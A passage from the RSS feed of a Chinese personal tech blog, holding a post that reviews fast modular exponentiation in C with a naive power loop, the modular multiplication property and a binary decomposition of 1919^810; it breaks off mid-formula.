<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Ch0kk4ku&apos;s Blog</title><description>Ch0kk4ku 的个人博客，记录技术笔记、折腾过程与零散想法。</description><link>https://ch0kk4ku.github.io/</link><templateTheme>Firefly</templateTheme><templateThemeVersion>6.16.8</templateThemeVersion><templateThemeUrl>https://github.com/CuteLeaf/Firefly</templateThemeUrl><lastBuildDate>2026年10月22日 08:57:51</lastBuildDate><item><title>快速幂与龟速乘算法</title><link>https://ch0kk4ku.github.io/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/</link><guid isPermaLink="true">https://ch0kk4ku.github.io/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/</guid><description>让我们来复习一些算法...</description><pubDate>Tue, 20 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;前言&lt;a href=&quot;#前言&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;起因是笔者初中同学的同学发给了他一个题目，内容是：&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;/assets/images/posts/kuai-su-mi-yu-gui-su-cheng-suan-fa/01-a67b0a3dcbedf96ec53e24b0ed240b35.jpg&quot; alt=&quot;a67b0a3dcbedf96ec53e24b0ed240b35&quot; /&gt;&lt;figcaption&gt;a67b0a3dcbedf96ec53e24b0ed240b35&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;本来笔者以为是一个普通的一道 C++ 题目，但是后来发现数据范围有一些不太对劲 —— &lt;span&gt;&lt;span&gt;1≤a,b,m≤2631\le a,b,m\le 2^{63}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;≤&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;≤&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;63&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ？这个范围对于常规的 O(n) 循环算法来说已经无法在一秒内计算出结果了，稍微查询一下，一个熟悉的概念映入眼帘 —— 快速幂算法！然而打开 devc++ 后，笔者悲催地发现自己已经忘记了快速幂的核心要义，遂开始重新复习并且记录于此。&lt;/p&gt;&lt;p&gt;由于笔者学的是 C ，以下代码以 C 为主， C++ 同理。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;快速幂&lt;a href=&quot;#快速幂&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;首先来看最基础的乘方计算：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#define&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;LL&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;spow&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;LL &lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;){&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LL res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;%=&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt;(b&lt;/span&gt;&lt;span&gt;--&lt;/span&gt;&lt;span&gt;)  res&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;(res&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;a)&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; res;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(){&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;// 后面快速幂部分主函数内容不变，仅 spow() -&amp;gt; qpow() ，故不重复展示&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LL a,b,m;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;scanf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%lld&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%lld&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;%lld&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;a,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;b,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;m);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;%lld&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;spow&lt;/span&gt;&lt;span&gt;(a,b,m));&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;注意到这边用到了一个很常见的关于取模的性质，&lt;s&gt;读者自证不难&lt;/s&gt;（其实是笔者还不会证明），利用它分步取模，相比先求出完整幂值最后再取模，能在一定程度上避免中间结果过大而溢出。（但仅靠这一点对本题仍不够，极端情况的处理见后文）&lt;/p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;(a⋅b) mod m=((a mod m)⋅(b mod m)) mod m(a\cdot b)\bmod m=\bigl((a\bmod m)\cdot(b\bmod m)\bigr)\bmod m&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;观察原来的代码我们可以发现，我们几乎是完全照搬了乘方的原始定义即 &lt;span&gt;&lt;span&gt;an=a⋅a⋯a⏟n个aa^n=\underbrace{a\cdot a\cdots a}_{n个a}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;个&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋯&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; ，这样直白的实现让时间复杂度达到了 O(n) ，极其不利于大幂指数的计算，要想要改善这个复杂度，我们只需要知道两个简单的知识：其一为 &lt;span&gt;&lt;span&gt;ax+y=ax⋅aya^{x+y}=a^x\cdot a^y&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;x&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;，其二为任何非负整数都可以按照其二进制拆分成多个二的幂次之和来表示，如 &lt;span&gt;&lt;span&gt;6=(110)2=0×20+1×21+1×226=(110)_2=0\times2^0+1\times2^1+1\times2^2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;110&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; 。二者结合我们就可以按照以下的方式来优化求解幂：&lt;/p&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1919810=1919(1100101010)2=19190⋅20⋅19191⋅21⋅19190⋅22⋅19191⋅23⋅19190⋅24⋅19191⋅25⋅19190⋅26⋅19190⋅27⋅19191⋅28⋅19191⋅291919^{810}=1919^{(1100101010)_2}
=1919^{0\cdot2^0}\cdot1919^{1\cdot2^1}\cdot1919^{0\cdot2^2}\cdot1919^{1\cdot2^3}\cdot1919^{0\cdot2^4}\cdot1919^{1\cdot2^5}\cdot1919^{0\cdot2^6}\cdot1919^{0\cdot2^7}\cdot1919^{1\cdot2^8}\cdot1919^{1\cdot2^9}&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;810&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1100101010&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;191&lt;/span&gt;&lt;span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;⋅&lt;/span&gt;&lt;span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&